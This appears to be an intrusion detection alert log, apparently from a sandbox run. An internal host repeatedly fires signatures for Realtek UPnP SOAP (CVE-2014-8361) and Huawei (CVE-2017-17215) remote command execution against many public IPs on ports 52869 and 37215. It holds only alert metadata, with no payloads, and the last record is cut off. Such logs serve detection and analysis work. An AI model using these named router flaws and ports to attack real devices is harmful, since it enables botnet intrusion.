ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 107.5.49.194

Timestamp:	07/20/24-23:01:48.275988
SID:	2027339
Source Port:	48426
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.140.127.150

Timestamp:	07/20/24-23:01:02.066908
SID:	2835222
Source Port:	52194
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.178.33.225

Timestamp:	07/20/24-23:00:57.221888
SID:	2829579
Source Port:	47604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.206.100.188

Timestamp:	07/20/24-23:01:11.630543
SID:	2829579
Source Port:	43640
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 12.55.180.198

Timestamp:	07/20/24-23:01:01.157005
SID:	2025132
Source Port:	44414
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.105.28.46

Timestamp:	07/20/24-23:01:24.944299
SID:	2835222
Source Port:	37398
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 143.254.203.194

Timestamp:	07/20/24-23:01:42.650744
SID:	2027339
Source Port:	53702
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.10.234.194

Timestamp:	07/20/24-23:01:00.635367
SID:	2829579
Source Port:	56890
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 79.157.163.186

Timestamp:	07/20/24-23:01:25.484881
SID:	2027339
Source Port:	59906
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 104.24.229.93

Timestamp:	07/20/24-23:01:42.535137
SID:	2831300
Source Port:	43620
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 163.18.131.94

Timestamp:	07/20/24-23:01:42.213822
SID:	2831300
Source Port:	43154
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 157.156.14.69

Timestamp:	07/20/24-23:01:54.375005
SID:	2027339
Source Port:	54766
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 9.196.233.159

Timestamp:	07/20/24-23:01:42.196522
SID:	2027339
Source Port:	57156
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 53.137.194.88

Timestamp:	07/20/24-23:01:20.593640
SID:	2831300
Source Port:	44004
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.229.87.54

Timestamp:	07/20/24-23:01:34.044537
SID:	2829579
Source Port:	52198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 130.131.47.204

Timestamp:	07/20/24-23:01:43.190671
SID:	2027339
Source Port:	45934
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.55.166.124

Timestamp:	07/20/24-23:01:11.634077
SID:	2835222
Source Port:	57988
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 37.189.26.199

Timestamp:	07/20/24-23:01:46.423677
SID:	2831300
Source Port:	35350
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.215.252.1

Timestamp:	07/20/24-23:00:57.221570
SID:	2829579
Source Port:	43176
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 171.216.201.201

Timestamp:	07/20/24-23:01:42.535137
SID:	2025132
Source Port:	56094
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 102.22.43.107

Timestamp:	07/20/24-23:01:42.437265
SID:	2027339
Source Port:	56658
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 199.90.7.168

Timestamp:	07/20/24-23:01:43.498157
SID:	2831300
Source Port:	56966
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 204.16.50.125

Timestamp:	07/20/24-23:01:45.432263
SID:	2027339
Source Port:	53548
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 191.79.195.70

Timestamp:	07/20/24-23:01:01.326437
SID:	2025132
Source Port:	48448
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 118.76.56.217

Timestamp:	07/20/24-23:00:59.203960
SID:	2829579
Source Port:	46618
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 42.114.143.158

Timestamp:	07/20/24-23:01:08.560530
SID:	2027339
Source Port:	59256
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 114.234.94.36

Timestamp:	07/20/24-23:01:42.042815
SID:	2025132
Source Port:	51644
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 105.145.121.113

Timestamp:	07/20/24-23:01:55.262010
SID:	2027339
Source Port:	40522
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 153.94.71.254

Timestamp:	07/20/24-23:01:04.739839
SID:	2027339
Source Port:	44240
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 150.171.160.226

Timestamp:	07/20/24-23:01:08.590938
SID:	2027339
Source Port:	39990
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.202.235.206

Timestamp:	07/20/24-23:01:04.014688
SID:	2835222
Source Port:	49028
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 24.167.37.167

Timestamp:	07/20/24-23:01:08.572790
SID:	2027339
Source Port:	56760
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 131.224.25.117

Timestamp:	07/20/24-23:01:11.639230
SID:	2835222
Source Port:	33910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 164.205.240.199

Timestamp:	07/20/24-23:01:27.649945
SID:	2829579
Source Port:	41624
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 202.140.13.200

Timestamp:	07/20/24-23:01:41.392527
SID:	2027339
Source Port:	48730
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 148.6.1.136

Timestamp:	07/20/24-23:01:44.302920
SID:	2831300
Source Port:	33286
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 168.91.139.254

Timestamp:	07/20/24-23:01:31.333805
SID:	2831300
Source Port:	36734
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 45.99.89.219

Timestamp:	07/20/24-23:01:49.946258
SID:	2025132
Source Port:	54036
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 64.86.139.164

Timestamp:	07/20/24-23:01:03.242934
SID:	2027339
Source Port:	46470
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 149.136.40.221

Timestamp:	07/20/24-23:01:45.072641
SID:	2831300
Source Port:	50632
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 19.55.206.132

Timestamp:	07/20/24-23:02:11.506914
SID:	2025132
Source Port:	36974
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 57.114.247.43

Timestamp:	07/20/24-23:01:49.810143
SID:	2831300
Source Port:	37980
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 191.177.238.243

Timestamp:	07/20/24-23:01:41.380677
SID:	2025132
Source Port:	46780
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 190.124.94.237

Timestamp:	07/20/24-23:01:01.422220
SID:	2025132
Source Port:	44736
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 132.77.166.224

Timestamp:	07/20/24-23:01:52.972472
SID:	2027339
Source Port:	37332
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 172.14.168.150

Timestamp:	07/20/24-23:01:31.591880
SID:	2027339
Source Port:	50890
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 46.47.224.132

Timestamp:	07/20/24-23:00:57.221803
SID:	2829579
Source Port:	53230
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 165.18.43.140

Timestamp:	07/20/24-23:01:46.340763
SID:	2025132
Source Port:	54042
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 162.69.127.248

Timestamp:	07/20/24-23:01:53.099889
SID:	2025132
Source Port:	38954
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 168.18.159.220

Timestamp:	07/20/24-23:01:42.632123
SID:	2027339
Source Port:	37554
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 189.30.194.82

Timestamp:	07/20/24-23:01:42.390246
SID:	2027339
Source Port:	54968
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 218.185.172.90

Timestamp:	07/20/24-23:01:08.590754
SID:	2027339
Source Port:	56354
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 110.15.34.17

Timestamp:	07/20/24-23:01:49.490945
SID:	2831300
Source Port:	36502
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 223.193.169.99

Timestamp:	07/20/24-23:01:03.948226
SID:	2025132
Source Port:	42126
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 169.195.139.119

Timestamp:	07/20/24-23:01:47.572503
SID:	2027339
Source Port:	46268
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.9.246.73

Timestamp:	07/20/24-23:01:04.053605
SID:	2835222
Source Port:	43318
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.65.238.83

Timestamp:	07/20/24-23:01:06.989167
SID:	2835222
Source Port:	59048
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 98.89.247.140

Timestamp:	07/20/24-23:01:12.806024
SID:	2027339
Source Port:	47288
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 39.181.131.100

Timestamp:	07/20/24-23:01:42.165780
SID:	2027339
Source Port:	51498
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 124.82.46.132

Timestamp:	07/20/24-23:01:20.161614
SID:	2835222
Source Port:	45192
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 90.72.98.132

Timestamp:	07/20/24-23:01:55.409249
SID:	2027339
Source Port:	58652
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 72.182.239.64

Timestamp:	07/20/24-23:02:04.767225
SID:	2831300
Source Port:	33734
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 199.61.238.254

Timestamp:	07/20/24-23:01:01.164622
SID:	2025132
Source Port:	43644
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 66.14.7.167

Timestamp:	07/20/24-23:01:48.070705
SID:	2025132
Source Port:	34608
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 176.235.230.116

Timestamp:	07/20/24-23:02:26.791106
SID:	2025132
Source Port:	49314
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 172.97.184.195

Timestamp:	07/20/24-23:01:04.426363
SID:	2025132
Source Port:	34988
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 153.94.71.254

Timestamp:	07/20/24-23:01:04.739839
SID:	2025132
Source Port:	44240
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 91.33.144.77

Timestamp:	07/20/24-23:01:08.574948
SID:	2831300
Source Port:	43308
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 43.229.235.45

Timestamp:	07/20/24-23:01:44.274813
SID:	2025132
Source Port:	60748
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.46.123.167

Timestamp:	07/20/24-23:01:24.944299
SID:	2829579
Source Port:	38312
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 131.116.5.106

Timestamp:	07/20/24-23:02:02.570955
SID:	2025132
Source Port:	51478
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 82.228.21.159

Timestamp:	07/20/24-23:02:08.084135
SID:	2025132
Source Port:	36338
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 199.27.212.72

Timestamp:	07/20/24-23:02:06.553447
SID:	2831300
Source Port:	59228
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 213.170.177.158

Timestamp:	07/20/24-23:01:43.071126
SID:	2025132
Source Port:	42976
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.51.233.253

Timestamp:	07/20/24-23:01:24.883171
SID:	2829579
Source Port:	46870
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 93.186.61.171

Timestamp:	07/20/24-23:01:45.119426
SID:	2831300
Source Port:	53402
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 128.140.142.60

Timestamp:	07/20/24-23:02:06.477726
SID:	2027339
Source Port:	35428
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 206.198.46.124

Timestamp:	07/20/24-23:02:09.321968
SID:	2831300
Source Port:	43566
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 93.106.207.118

Timestamp:	07/20/24-23:01:49.170008
SID:	2027339
Source Port:	60616
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 121.163.119.125

Timestamp:	07/20/24-23:01:46.525128
SID:	2027339
Source Port:	47322
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 201.180.13.92

Timestamp:	07/20/24-23:01:56.400580
SID:	2027339
Source Port:	43012
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.27.250.238

Timestamp:	07/20/24-23:01:40.321964
SID:	2835222
Source Port:	46232
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 165.86.188.195

Timestamp:	07/20/24-23:01:42.374542
SID:	2025132
Source Port:	38602
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 8.134.141.9

Timestamp:	07/20/24-23:01:31.981855
SID:	2829579
Source Port:	53838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 98.94.65.60

Timestamp:	07/20/24-23:01:42.322405
SID:	2027339
Source Port:	59520
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 129.68.201.164

Timestamp:	07/20/24-23:01:48.496839
SID:	2025132
Source Port:	52330
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 105.145.121.113

Timestamp:	07/20/24-23:01:53.746309
SID:	2025132
Source Port:	40366
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 93.106.207.118

Timestamp:	07/20/24-23:01:45.118041
SID:	2025132
Source Port:	59874
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 221.157.224.96

Timestamp:	07/20/24-23:01:42.147980
SID:	2027339
Source Port:	56000
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.198.222.41

Timestamp:	07/20/24-23:01:20.110861
SID:	2829579
Source Port:	57564
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 180.13.32.83

Timestamp:	07/20/24-23:01:42.945748
SID:	2027339
Source Port:	54138
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 38.189.198.237

Timestamp:	07/20/24-23:01:10.252357
SID:	2027339
Source Port:	45926
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 54.235.197.43

Timestamp:	07/20/24-23:01:02.333866
SID:	2027339
Source Port:	33564
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 151.83.163.85

Timestamp:	07/20/24-23:01:31.329969
SID:	2831300
Source Port:	47578
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 113.55.199.122

Timestamp:	07/20/24-23:01:41.299284
SID:	2025132
Source Port:	57818
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 97.241.192.98

Timestamp:	07/20/24-23:01:53.267115
SID:	2027339
Source Port:	54964
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.65.251.158

Timestamp:	07/20/24-23:00:57.221921
SID:	2835222
Source Port:	49826
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.37.15.231

Timestamp:	07/20/24-23:01:00.634497
SID:	2835222
Source Port:	41366
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 206.50.68.232

Timestamp:	07/20/24-23:01:46.359091
SID:	2027339
Source Port:	50814
Destination Port:	52869
Protocol:	TCP
